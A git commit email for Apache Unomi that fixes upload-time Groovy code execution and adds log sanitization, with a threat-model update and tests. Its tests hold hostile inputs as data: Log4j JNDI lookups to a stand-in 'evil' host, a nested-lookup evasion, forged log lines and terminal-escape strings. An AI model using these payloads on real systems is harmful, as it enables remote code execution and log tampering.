This is an automated email from the ASF dual-hosted git repository.
asf-gitbox-commits pushed a commit to branch
UNOMI-972-credentials-profile-binding-privileged-rest
in repository https://gitbox.apache.org/repos/asf/unomi.git
The following commit(s) were added to
refs/heads/UNOMI-972-credentials-profile-binding-privileged-rest by this push:
new 2179ed211 UNOMI-972: stop Groovy uploads executing at compile time,
and keep untrusted input out of the logs
2179ed211 is described below
commit 2179ed21149430cfbf6e0c02358b7f09aa58885f
Author: Serge Huber <[email protected]>
AuthorDate: Sat Aug 8 21:55:23 2026 +0200
UNOMI-972: stop Groovy uploads executing at compile time, and keep
untrusted input out of the logs
Groovy action upload was remote code execution before any rule dispatched
the
action. GroovyShell#parse returns a Script *instance*, and constructing it
runs
the script's field initializers, so a script carrying a @Field initializer
executed at save time. Every caller here only needs the compiled Class, to
read
the @Action annotation or check for execute(), so compilation now goes
through
parseClass and nothing is instantiated until the action actually runs.
This is not a sandbox and is not meant to be one: a Groovy action runs
unrestricted in the server JVM, so uploading one is equivalent to shell
access on
the host. THREAT_MODEL.md now states that outright, records why no sandbox
is
planned (the SecurityManager is disabled in current JDKs,
SecureASTCustomizer is
a compile-time syntax restriction that dynamic dispatch routes around), and
adds
the matching non-finding entry so future reports of "Groovy is not
sandboxed"
triage consistently. The controls are the ADMINISTRATOR role added earlier,
this
change, and a WARN-level audit record of every save and remove carrying the
script's SHA-256.
The audit record led to the second half. Values arriving over the network
were
already reaching log messages verbatim - body profileId, cookie values,
session
ids, event property names, and the uploaded filename - so a newline in any
of
them lets an attacker forge log records, including the record of their own
upload. A LogSanitizer already existed for the REST exception mappers but
was
package-private and unreachable from the other bundles; the filter now
lives once
in org.apache.unomi.api.utils and the REST one delegates to it. Verified
behaviour-preserving by differential test against the previous
implementation
over every BMP code unit, the truncation boundaries and 20k fuzz iterations.
The Groovy action name gets a rejection at the entry point rather than
sanitization at each of its dozen log sites, since it is also a persistence
id
and a cache key where a control character is never legitimate. That check
covers
U+2028 and U+2029 explicitly: they are line terminators that
Character.isISOControl does not report, which is the bypass an
isISOControl-only
check would have left open.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
---
THREAT_MODEL.md | 2 +
.../org/apache/unomi/api/utils/LogSanitizer.java | 78 +++++++
.../apache/unomi/api/utils/LogSanitizerTest.java | 227 +++++++++++++++++++++
.../services/impl/GroovyActionsServiceImpl.java | 111 +++++++++-
.../impl/GroovyActionsServiceImplTest.java | 122 +++++++++++
.../cxs/actions/fieldInitializerAction.groovy | 27 +++
.../META-INF/cxs/actions/rceProofAction.groovy | 37 ++++
.../baseplugin/actions/UpdatePropertiesAction.java | 10 +-
.../apache/unomi/rest/exception/LogSanitizer.java | 21 +-
.../rest/service/impl/RestServiceUtilsImpl.java | 12 +-
10 files changed, 623 insertions(+), 24 deletions(-)
diff --git a/THREAT_MODEL.md b/THREAT_MODEL.md
index 58b8d7a59..2256af7f7 100644
--- a/THREAT_MODEL.md
+++ b/THREAT_MODEL.md
@@ -133,6 +133,7 @@ Per-surface trust table:
- **No protection if the admin REST/GraphQL APIs are exposed to the public
network** — keeping the admin surface off the public network is the operator's
job (§10). On **pre-3.1** builds this disclaimer also covered leaving the
documented default JAAS password unchanged (§5a layer 1). It does **not**
extend to 3.1 and later: 3.1 ships no known default, so a credential that works
without the operator having configured one is a defect there, not a disclaimed
property (§5a layer 2). *(maint [...]
- **No confidentiality/integrity for the ES/OS backend or its network** —
Unomi assumes a secured backend; it does not defend an exposed Elasticsearch.
*(inferred)*
- **Not a sandbox for system-administrator-authored expressions/plugins** — a
system admin with condition/scripting authority can run server-side logic by
design; that power is not contained. *(maintainer — §14 Q7)* **False friend:**
the presence of the scripting/expression allow-list protects the *public*
surface; it is not a sandbox that makes arbitrary admin-authored expressions
safe. **This disclaimer does not cover tenant-administrator script upload or
Camel config that reaches host [...]
+- **No sandbox for uploaded Groovy actions — uploading one is equivalent to
shell access on the host.** A Groovy action is compiled and dispatched
unrestricted inside the server JVM, with the server's user, classpath and
network reach, and it is persisted and re-run. Treat `POST /cxs/groovyActions`
as remote code execution *by design*, and the credential that reaches it as a
host credential. From 3.1 the endpoint requires the **system** `ADMINISTRATOR`
role — a tenant administrator (tena [...]
- **No guarantee that possession of a visitor `profileId` UUID is hard** — the
id is a bearer token; confidentiality of the cookie (and flags such as
HttpOnly) is largely an operator/frontend concern, though unsafe defaults may
be `VALID-HARDENING`. *(maintainer)*
- **No guarantee of correctness of analytics/segmentation under adversarial
event injection** beyond the access-control boundary. *(inferred)*
- **Well-known classes left to the caller/operator:** expression-injection
(the CVE class — defended by constraining the public surface),
event/PII-exposure via a misconfigured public endpoint, DoS via event floods,
and deploying sample identity-merge rules without verified identity (§11).
*(documented history; maintainer framing)*
@@ -167,6 +168,7 @@ Per-surface trust table:
- "Public `/context.json` returns profile data for a supplied `profileId`" —
**by design** when that id is the caller’s bearer (cookie / equivalent). Not
automatically `VALID` as “IDOR” merely because the attacker knows the UUID.
`VALID` / `VALID-HARDENING` when the body id is accepted **without** matching
the bearer cookie, when session load switches profile without ownership, or
when cookie flags make XSS→id theft trivial by unsafe default. *(maintainer)*
- "Elasticsearch reachable / no TLS" — operator deployment responsibility
(§9/§10). *(inferred)*
- "System administrator can run dangerous operation X" — out-of-model: system
admin is trusted (§7). **Does not apply** to tenant administrator achieving
host RCE, arbitrary file read, or cross-tenant access — those are §8
violations. *(maintainer — §14 Q8a)*
+- "Uploaded Groovy actions are not sandboxed / run arbitrary commands" —
out-of-model against **3.1 and later**: upload requires the system
`ADMINISTRATOR` role, and unrestricted execution is the documented, intended
property of the feature (§9). `VALID` only if it shows a **lower privilege than
system administrator** reaching upload (tenant private key, public key,
unauthenticated), execution occurring at **upload/compile time** rather than at
dispatch, or the role gate being bypassable [...]
- "The shipped default admin password works on a fresh install" — against
**pre-3.1** builds: documented must-configure (§5a layer 1); not `VALID` solely
on that basis. That class of report was accepted as **`VALID-HARDENING`
motivation** for the 3.1 default-password retirement (§5a layer 2), **which
shipped in 3.1**. Against **3.1 and later** it is no longer a non-finding: a
known working default, or any fallback admitting a credential the operator
never configured, is `VALID`. *(mainta [...]
## §12 Conditions that would change this model
diff --git a/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java
b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java
new file mode 100644
index 000000000..0ff89eaf3
--- /dev/null
+++ b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java
@@ -0,0 +1,78 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.api.utils;
+
+/**
+ * Sanitizes untrusted, request-derived values before they are written to a
log.
+ * <p>
+ * Anything that arrives over the network is attacker-controlled, so writing
it verbatim into a log
+ * makes the log itself an attack surface: an embedded newline lets an
attacker forge log records
+ * (making a real attack look like routine traffic, or implicating someone
else), control characters
+ * can corrupt terminals and log shippers, and an unbounded value can flood
the log. Security
+ * warnings are the worst place for this, because those are exactly the lines
shipped to a SIEM and
+ * trusted during incident response.
+ * <p>
+ * Values that never leave the server — enum names, role sets, hashes, rule
configuration authored by
+ * an administrator — do not need this. Use it for request bodies, headers,
cookies, query and path
+ * parameters, uploaded filenames, and event properties.
+ */
+public final class LogSanitizer {
+
+ /** Long enough to identify a value, short enough that it cannot flood the
log. */
+ private static final int MAX_LENGTH = 200;
+
+ private LogSanitizer() {
+ }
+
+ /**
+ * Replaces every character that is not printable ASCII, and every
log-format marker
+ * ({@code \ { } % $}), with an underscore, then truncates. This removes
the newlines and control
+ * characters used for log injection, and neutralises markers that a
downstream log formatter
+ * might otherwise interpret.
+ *
+ * @param input the untrusted value, may be {@code null}
+ * @return a value that is always safe to place in a log message; {@code
"null"} when input was null
+ */
+ public static String forLogging(String input) {
+ return forLogging(input, MAX_LENGTH);
+ }
+
+ /**
+ * As {@link #forLogging(String)}, but with a caller-chosen length limit
for contexts that need
+ * more room (a request URL, an exception message) than the default.
+ *
+ * @param input the untrusted value, may be {@code null}
+ * @param maxLength the length beyond which the value is truncated
+ * @return a value that is always safe to place in a log message; {@code
"null"} when input was null
+ */
+ public static String forLogging(String input, int maxLength) {
+ if (input == null) {
+ return "null";
+ }
+ String value = input.length() > maxLength ? input.substring(0,
maxLength) + "...[truncated]" : input;
+ StringBuilder sanitized = new StringBuilder(value.length());
+ for (int i = 0; i < value.length(); i++) {
+ char c = value.charAt(i);
+ if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' &&
c != '%' && c != '$') {
+ sanitized.append(c);
+ } else {
+ sanitized.append('_');
+ }
+ }
+ return sanitized.toString();
+ }
+}
diff --git a/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java
b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java
new file mode 100644
index 000000000..6eee9ffb1
--- /dev/null
+++ b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java
@@ -0,0 +1,227 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.api.utils;
+
+import org.junit.Test;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * The values this guards are attacker-controlled by definition — uploaded
filenames, event property
+ * names, cookies, session ids — so these are the cases an attacker would
actually try.
+ */
+public class LogSanitizerTest {
+
+ /**
+ * The core defence: a newline would let an attacker close the current log
record and write their
+ * own, forging an entry that an operator or SIEM would read as genuine.
+ */
+ @Test
+ public void newlinesCannotForgeALogRecord() {
+ String forged = "innocent.groovy\n2026-08-08 12:00:00 WARN AUDIT
groovy-action save: action=already-approved";
+
+ String sanitized = LogSanitizer.forLogging(forged);
+
+ assertFalse("a newline must not survive into the log",
sanitized.contains("\n"));
+ assertFalse("a carriage return must not survive into the log",
sanitized.contains("\r"));
+ assertTrue("the original text should still be recognisable",
sanitized.startsWith("innocent.groovy_"));
+ }
+
+ @Test
+ public void controlCharactersAreReplaced() {
+ // ESC is what makes an ANSI sequence act on a terminal; the "[2J"
after it is ordinary
+ // printable text, which is why only the ESC itself needs replacing.
+ String sanitized = LogSanitizer.forLogging("a\u001b[2Jb\tc\u0000d");
+
+ assertFalse("ESC must not survive", sanitized.indexOf(0x1b) >= 0);
+ assertFalse("TAB must not survive", sanitized.contains("\t"));
+ assertFalse("NUL must not survive", sanitized.indexOf(0) >= 0);
+ assertEquals("a_[2Jb_c_d", sanitized);
+ }
+
+ /** {@code {} $ %} are formatter markers; a downstream pattern layout must
not act on them. */
+ @Test
+ public void logFormatMarkersAreNeutralised() {
+ String sanitized = LogSanitizer.forLogging("${jndi:ldap://evil/x} {}
%n");
+
+ assertFalse(sanitized.contains("$"));
+ assertFalse(sanitized.contains("{"));
+ assertFalse(sanitized.contains("}"));
+ assertFalse(sanitized.contains("%"));
+ }
+
+ @Test
+ public void oversizedValuesAreTruncatedSoTheyCannotFloodTheLog() {
+ String sanitized = LogSanitizer.forLogging(repeat("a", 5000));
+
+ assertTrue(sanitized.endsWith("...[truncated]"));
+ assertTrue("truncated output must stay bounded", sanitized.length() <
300);
+ }
+
+ @Test
+ public void callerSuppliedLimitIsHonoured() {
+ assertEquals("abc...[truncated]", LogSanitizer.forLogging("abcdef",
3));
+ }
+
+ @Test
+ public void ordinaryValuesArePassedThroughUnchanged() {
+ assertEquals("myAction", LogSanitizer.forLogging("myAction"));
+ assertEquals("a1b2c3d4-e5f6-7890-abcd-ef1234567890",
+
LogSanitizer.forLogging("a1b2c3d4-e5f6-7890-abcd-ef1234567890"));
+ }
+
+ /** Distinguishable from an empty value, so an audit record never silently
loses a field. */
+ @Test
+ public void nullBecomesAnExplicitMarker() {
+ assertEquals("null", LogSanitizer.forLogging(null));
+ }
+
+ //
---------------------------------------------------------------------------------------
+ // Evasion attempts. Each of these defeats at least one naive
implementation of this filter.
+ //
---------------------------------------------------------------------------------------
+
+ /**
+ * The classic bypass of a {@code Character.isISOControl} check: U+2028
and U+2029 are Unicode
+ * line terminators but are <em>not</em> ISO controls, so a validator
written against that
+ * predicate lets them through while JSON log pipelines and JS-based log
viewers still break the
+ * line on them. An allowlist of printable ASCII is immune; a denylist of
control characters is not.
+ */
+ @Test
+ public void unicodeLineTerminatorsThatAreNotIsoControlsAreStillRemoved() {
+ assertFalse(Character.isISOControl('\u2028'));
+ assertFalse(Character.isISOControl('\u2029'));
+
+ String sanitized =
LogSanitizer.forLogging("a\u2028forged\u2029line\u0085nel");
+
+ assertEquals("a_forged_line_nel", sanitized);
+ }
+
+ /**
+ * Log4j lookup evasion: the payload hides {@code jndi} behind a nested
lookup so a filter
+ * searching for the literal string "jndi" misses it. Filtering the {@code
$} and braces that
+ * make a lookup a lookup defeats the whole family, known and unknown.
+ */
+ @Test
+ public void nestedLookupEvasionIsNeutralised() {
+ String sanitized =
LogSanitizer.forLogging("${${lower:j}${lower:n}di:ldap://evil/a}");
+
+ assertFalse(sanitized.contains("$"));
+ assertFalse(sanitized.contains("{"));
+ assertFalse(sanitized.contains("}"));
+ assertTrue("the text should survive in inert form",
sanitized.contains("ldap://evil/a"));
+ }
+
+ /**
+ * A lone high surrogate at the truncation boundary. Cutting a string with
{@code substring} can
+ * split a surrogate pair and leave an unpaired half, which some appenders
and JSON encoders
+ * reject or mangle. Filtering after truncation means the orphan is
replaced like any other
+ * non-ASCII char, so the result is always well-formed.
+ */
+ @Test
+ public void truncationCannotLeaveAnUnpairedSurrogate() {
+ String emoji = "\uD83D\uDE00"; // U+1F600, a surrogate pair
+ StringBuilder payload = new StringBuilder();
+ for (int i = 0; i < 199; i++) {
+ payload.append('a');
+ }
+ payload.append(emoji);
+
+ String sanitized = LogSanitizer.forLogging(payload.toString());
+
+ for (int i = 0; i < sanitized.length(); i++) {
+ assertFalse("no unpaired surrogate may survive",
Character.isSurrogate(sanitized.charAt(i)));
+ }
+ }
+
+ /**
+ * Terminal control: BS overwrites already-printed characters and ESC]0;
retitles the window, so
+ * an attacker can make a log line read as something else entirely in a
live terminal.
+ */
+ @Test
+ public void terminalRewritingSequencesAreRemoved() {
+ String sanitized =
LogSanitizer.forLogging("denied\b\b\b\b\b\b\u001b]0;granted\u0007");
+
+ assertFalse(sanitized.contains("\b"));
+ assertFalse("BEL must not survive", sanitized.indexOf(7) >= 0);
+ assertTrue(sanitized.startsWith("denied"));
+ }
+
+ /**
+ * Right-to-left override reverses the display order of everything after
it, so a log entry can
+ * be made to read backwards — {@code deined} for {@code denied} — without
changing the bytes a
+ * grep would match.
+ */
+ @Test
+ public void bidiOverrideCannotReorderTheDisplayedLine() {
+ String sanitized =
LogSanitizer.forLogging("action=\u202egnitirw\u202c");
+
+ assertFalse(sanitized.contains("\u202e"));
+ assertFalse(sanitized.contains("\u202c"));
+ }
+
+ /** Zero-width characters split a token so an exact-match SIEM rule no
longer fires on it. */
+ @Test
+ public void zeroWidthCharactersCannotHideATokenFromSearch() {
+ String sanitized = LogSanitizer.forLogging("ad\u200bmin\ufeff");
+
+ assertFalse(sanitized.contains("\u200b"));
+ assertFalse(sanitized.contains("\ufeff"));
+ assertEquals("ad_min_", sanitized);
+ }
+
+ /**
+ * A payload placed beyond the truncation point must not come back:
truncation happens first, so
+ * anything past the limit is gone before it can be interpreted.
+ */
+ @Test
+ public void payloadHiddenBeyondTheTruncationPointIsDropped() {
+ String sanitized = LogSanitizer.forLogging(repeat("a", 400) + "\nWARN
forged-record");
+
+ assertFalse(sanitized.contains("forged-record"));
+ assertFalse(sanitized.contains("\n"));
+ }
+
+ /**
+ * An escaped newline: if any downstream formatter or JSON decoder
unescapes the value, a
+ * surviving backslash would become a real newline. Filtering the
backslash removes that
+ * second-order path.
+ */
+ @Test
+ public void escapedNewlineCannotBeRevivedDownstream() {
+ String sanitized = LogSanitizer.forLogging("a\\nb\\u000ac");
+
+ assertFalse("no backslash may survive to be unescaped later",
sanitized.contains("\\"));
+ }
+
+ /** Sanitizing twice must equal sanitizing once, or nested logging would
corrupt the value. */
+ @Test
+ public void sanitizationIsIdempotent() {
+ String once = LogSanitizer.forLogging("a\nb\u2028c${x}\uD83D\uDE00");
+
+ assertEquals(once, LogSanitizer.forLogging(once));
+ }
+
+ private static String repeat(String s, int times) {
+ StringBuilder sb = new StringBuilder(s.length() * times);
+ for (int i = 0; i < times; i++) {
+ sb.append(s);
+ }
+ return sb.toString();
+ }
+}
diff --git
a/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java
b/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java
index 40c02a7ae..1012b32e3 100644
---
a/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java
+++
b/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java
@@ -23,6 +23,7 @@ import groovy.lang.Script;
import groovy.util.GroovyScriptEngine;
import org.apache.commons.io.FilenameUtils;
import org.apache.commons.io.IOUtils;
+import org.apache.unomi.api.ExecutionContext;
import org.apache.unomi.api.Metadata;
import org.apache.unomi.api.Parameter;
import org.apache.unomi.api.actions.ActionType;
@@ -32,6 +33,7 @@ import org.apache.unomi.api.services.SchedulerService;
import org.apache.unomi.api.services.cache.CacheableTypeConfig;
import org.apache.unomi.api.services.cache.MultiTypeCacheService;
import org.apache.unomi.api.tenants.TenantService;
+import org.apache.unomi.api.utils.LogSanitizer;
import org.apache.unomi.groovy.actions.GroovyAction;
import org.apache.unomi.groovy.actions.GroovyBundleResourceConnector;
import org.apache.unomi.groovy.actions.ScriptMetadata;
@@ -58,6 +60,8 @@ import java.io.InputStream;
import java.io.Serializable;
import java.net.URL;
import java.nio.charset.StandardCharsets;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
@@ -301,7 +305,7 @@ public class GroovyActionsServiceImpl extends
AbstractMultiTypeCachingService im
// Extract Action annotation and register the ActionType
try {
synchronized(compilationLock) {
- Action actionAnnotation =
compilationShell.parse(groovyCodeSource).getClass().getMethod("execute").getAnnotation(Action.class);
+ Action actionAnnotation =
compileToClass(groovyCodeSource).getMethod("execute").getAnnotation(Action.class);
if (actionAnnotation != null) {
contextManager.executeAsSystem(() -> {
saveActionType(actionAnnotation);
@@ -407,7 +411,7 @@ public class GroovyActionsServiceImpl extends
AbstractMultiTypeCachingService im
try {
GroovyCodeSource groovyCodeSource = new
GroovyCodeSource(script, actionName, "/groovy/script");
synchronized(compilationLock) {
-
compilationShell.parse(groovyCodeSource).getClass().getMethod("execute");
+ compileToClass(groovyCodeSource).getMethod("execute");
}
// Note: We don't extract or save the ActionType here
} catch (NoSuchMethodException e) {
@@ -471,16 +475,113 @@ public class GroovyActionsServiceImpl extends
AbstractMultiTypeCachingService im
}
}
+ /**
+ * Rejects an action name containing control characters.
+ * <p>
+ * The name is caller-supplied — on the REST path it is the uploaded
multipart filename — and it
+ * becomes a persistence id, a cache key, a {@code GroovyCodeSource} name
and a field in a dozen
+ * log messages. A newline in it would let an uploader forge log records,
including the audit
+ * record of their own upload. Rejecting at the entry point fixes every
one of those uses at
+ * once, and keeps future log statements safe without each having to
remember to sanitize.
+ * <p>
+ * Deliberately a rejection rather than a rewrite: silently altering the
name would change the id
+ * an action is stored and looked up under.
+ */
+ private void validateNoControlCharacters(String value, String
parameterName) {
+ for (int i = 0; i < value.length(); i++) {
+ char c = value.charAt(i);
+ // U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR are line
terminators but are NOT
+ // ISO controls, so isISOControl alone lets them through while
JSON log pipelines and
+ // JS-based log viewers still break the line on them. Checking
them explicitly closes
+ // that bypass; see
LogSanitizerTest#unicodeLineTerminatorsThatAreNotIsoControlsAreStillRemoved.
+ if (Character.isISOControl(c) || c == '\u2028' || c == '\u2029') {
+ throw new IllegalArgumentException(
+ parameterName + " must not contain control characters
(found one at position " + i + ")");
+ }
+ }
+ }
+
/**
* Thread-safe script compilation using synchronized shared shell.
*/
private Class<? extends Script> compileScript(String actionName, String
scriptContent) {
GroovyCodeSource codeSource = new GroovyCodeSource(scriptContent,
actionName, "/groovy/script");
synchronized(compilationLock) {
- return compilationShell.parse(codeSource).getClass();
+ return compileToClass(codeSource);
+ }
+ }
+
+ /**
+ * Records every change to the deployed Groovy actions at WARN.
+ * <p>
+ * A Groovy action runs unrestricted in the server JVM, so saving one is
equivalent to granting
+ * shell access to the host. There is no sandbox to fall back on — the
Java SecurityManager is
+ * removed, and Groovy's {@code SecureASTCustomizer} is a compile-time
syntax restriction that
+ * dynamic dispatch routes around — so the controls are the ADMINISTRATOR
role on the endpoint
+ * and this record of who changed what. WARN rather than INFO
deliberately: this must survive a
+ * production log configuration that drops INFO, otherwise there is no
trace of the change.
+ * <p>
+ * The script hash lets an operator tell an unchanged redeploy from a
modified script, and gives
+ * incident response something to compare against a known-good inventory,
without writing
+ * possibly-sensitive script bodies to the log. The tenant and role set
come from the current
+ * execution context; the authenticated principal is in the REST access
log for the same request.
+ *
+ * @param operation the change being made, {@code save} or {@code remove}
+ * @param actionName the action being changed
+ * @param script the script being stored, or {@code null} when removing
+ */
+ private void auditScriptChange(String operation, String actionName, String
script) {
+ String tenantId = "unknown";
+ String roles = "unknown";
+ try {
+ ExecutionContext context = contextManager.getCurrentContext();
+ if (context != null) {
+ tenantId = context.getTenantId();
+ roles = String.valueOf(context.getRoles());
+ }
+ } catch (RuntimeException e) {
+ // An audit record with less detail beats losing the record, and
beats failing the
+ // operation over its own logging.
+ LOGGER.debug("Could not resolve the execution context for the
Groovy action audit record", e);
+ }
+ // actionName is caller-supplied (the uploaded multipart filename, or
the DELETE path
+ // parameter), so it must not reach the log verbatim: a newline in it
would let an uploader
+ // forge additional audit records and hide their own. The hash and the
role set are
+ // server-generated and safe as-is.
+ LOGGER.warn("AUDIT groovy-action {}: action={} tenant={} roles={}
scriptSha256={}",
+ operation, LogSanitizer.forLogging(actionName),
LogSanitizer.forLogging(tenantId), roles,
+ script == null ? "n/a" : sha256(script));
+ }
+
+ private static String sha256(String value) {
+ try {
+ byte[] digest =
MessageDigest.getInstance("SHA-256").digest(value.getBytes(StandardCharsets.UTF_8));
+ StringBuilder hex = new StringBuilder(digest.length * 2);
+ for (byte b : digest) {
+ hex.append(String.format("%02x", b));
+ }
+ return hex.toString();
+ } catch (NoSuchAlgorithmException e) {
+ // SHA-256 is mandated by the JLS, so this cannot happen on a
valid JRE.
+ return "unavailable";
}
}
+ /**
+ * Compiles a script to its Class without instantiating it.
+ * <p>
+ * Deliberately {@code parseClass} and not {@code GroovyShell#parse}:
{@code parse} returns a
+ * {@code Script} <em>instance</em>, and constructing that instance runs
the script's field
+ * initializers. An uploaded script carrying a Groovy {@code @Field}
initializer would therefore
+ * execute at upload/compile time, before any rule ever dispatches it.
Every caller here only
+ * needs the compiled Class (to read the {@code @Action} annotation or
check for {@code execute}),
+ * so nothing needs to be instantiated until the action is actually run.
+ */
+ @SuppressWarnings("unchecked")
+ private Class<? extends Script> compileToClass(GroovyCodeSource
codeSource) {
+ return (Class<? extends Script>)
compilationShell.getClassLoader().parseClass(codeSource, false);
+ }
+
/**
* Compiles a script and creates metadata with timing information.
*/
@@ -520,9 +621,11 @@ public class GroovyActionsServiceImpl extends
AbstractMultiTypeCachingService im
@Override
public void save(String actionName, String groovyScript) {
validateNotEmpty(actionName, "Action name");
+ validateNoControlCharacters(actionName, "Action name");
validateNotEmpty(groovyScript, "Groovy script");
long startTime = System.currentTimeMillis();
+ auditScriptChange("save", actionName, groovyScript);
LOGGER.info("Saving script: {}", actionName);
try {
@@ -584,7 +687,9 @@ public class GroovyActionsServiceImpl extends
AbstractMultiTypeCachingService im
@Override
public void remove(String actionName) {
validateNotEmpty(actionName, "Action name");
+ validateNoControlCharacters(actionName, "Action name");
+ auditScriptChange("remove", actionName, null);
LOGGER.info("Removing script: {}", actionName);
// Snapshot the metadata before the locked removal so we can extract
the @Action
diff --git
a/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java
b/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java
index 94536a296..d41314741 100644
---
a/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java
+++
b/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java
@@ -16,6 +16,7 @@
*/
package org.apache.unomi.groovy.actions.services.impl;
+import groovy.lang.GroovyShell;
import groovy.lang.Script;
import org.apache.unomi.api.Event;
import org.apache.unomi.api.ExecutionContext;
@@ -46,11 +47,15 @@ import org.osgi.framework.BundleContext;
import org.osgi.framework.wiring.BundleWiring;
import java.net.URL;
+import java.io.File;
import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;
import static org.junit.Assert.*;
+import static org.junit.Assume.assumeTrue;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
@@ -172,6 +177,123 @@ public class GroovyActionsServiceImplTest {
});
}
+ /**
+ * Saving an action compiles it; it must not instantiate it. A Groovy
{@code @Field} initializer
+ * runs at instantiation, so if save() ever goes back to {@code
GroovyShell#parse} an uploaded
+ * script executes at upload time, before any rule dispatches it — the
reported RCE vector.
+ */
+ @Test
+ public void testSaveDoesNotRunFieldInitializers() throws Exception {
+ System.clearProperty("unomi.test.groovyFieldInitializerRan");
+ String groovyScript = loadGroovyScript(
+ "/META-INF/cxs/actions/fieldInitializerAction.groovy",
+ "Could not find the field-initializer test Groovy action file");
+ try {
+ contextManager.executeAsTenant(TENANT_1, () -> {
+ groovyActionsService.save("fieldInitializerAction",
groovyScript);
+ });
+ assertNull("Saving a Groovy action must compile it without
instantiating it, so a @Field "
+ + "initializer must not execute at upload time",
+
System.getProperty("unomi.test.groovyFieldInitializerRan"));
+ } finally {
+ System.clearProperty("unomi.test.groovyFieldInitializerRan");
+ }
+ }
+
+ /**
+ * Regression test for the reported upload-time RCE: uploading a Groovy
action whose {@code @Field}
+ * initializer runs an OS command used to execute that command at save
time, as the server user,
+ * before any rule dispatched the action.
+ * <p>
+ * The positive control matters as much as the assertion. It runs the same
payload through a plain
+ * {@link GroovyShell} first and requires the proof file to appear, which
establishes that command
+ * execution really does work on this machine. Without it, a payload that
silently failed to run —
+ * wrong shell, restricted environment — would make the real assertion
pass while proving nothing.
+ * <p>
+ * Scope: this covers execution at <em>upload</em> time, which is the
reported vector. It does not
+ * claim the action is sandboxed when it is later dispatched — a Groovy
action is arbitrary code by
+ * design, and uploading one now requires the system ADMINISTRATOR role.
+ */
+ @Test
+ public void testSaveDoesNotExecuteUploadedCommands() throws Exception {
+ assumeTrue("requires a POSIX shell to run the payload", new
File("/bin/sh").canExecute());
+ String groovyScript = loadGroovyScript(
+ "/META-INF/cxs/actions/rceProofAction.groovy",
+ "Could not find the RCE proof test Groovy action file");
+
+ Path tempDir = Files.createTempDirectory("unomi-rce-proof");
+ Path proof = tempDir.resolve("rce-proof");
+ System.setProperty("unomi.test.rceProofPath", proof.toString());
+ try {
+ // Positive control: instantiating the script DOES run the
payload, so the payload is live.
+ new GroovyShell().parse(stripActionAnnotation(groovyScript));
+ assertTrue("positive control failed: the payload did not execute
even via GroovyShell#parse, "
+ + "so the real assertion below would prove nothing
on this machine",
+ Files.exists(proof));
+ Files.delete(proof);
+
+ // The actual assertion: saving the very same script must not run
it.
+ contextManager.executeAsTenant(TENANT_1, () -> {
+ groovyActionsService.save("rceProofAction", groovyScript);
+ });
+
+ assertFalse("Uploading a Groovy action must not execute it: the
payload wrote " + proof
+ + " at save time, which is remote code execution
at upload",
+ Files.exists(proof));
+ } finally {
+ System.clearProperty("unomi.test.rceProofPath");
+ Files.deleteIfExists(proof);
+ Files.deleteIfExists(tempDir);
+ }
+ }
+
+ /**
+ * Drops the {@code @Action} line so the positive control compiles under a
bare {@link GroovyShell},
+ * which has neither the service's ImportCustomizer nor its script base
class. The {@code @Field}
+ * payload — the only part under test — is untouched.
+ */
+ private static String stripActionAnnotation(String script) {
+ return script.replaceAll("(?m)^@Action\\(.*\\)$", "");
+ }
+
+ /**
+ * The action name is the uploaded filename on the REST path, so it is
caller-controlled, and it
+ * ends up in a dozen log messages including the upload audit record. A
newline in it would let
+ * an uploader append forged log lines — hiding their own upload behind a
fabricated one. Reject
+ * it at the entry point rather than sanitizing at each log site, which
the next log statement
+ * would forget.
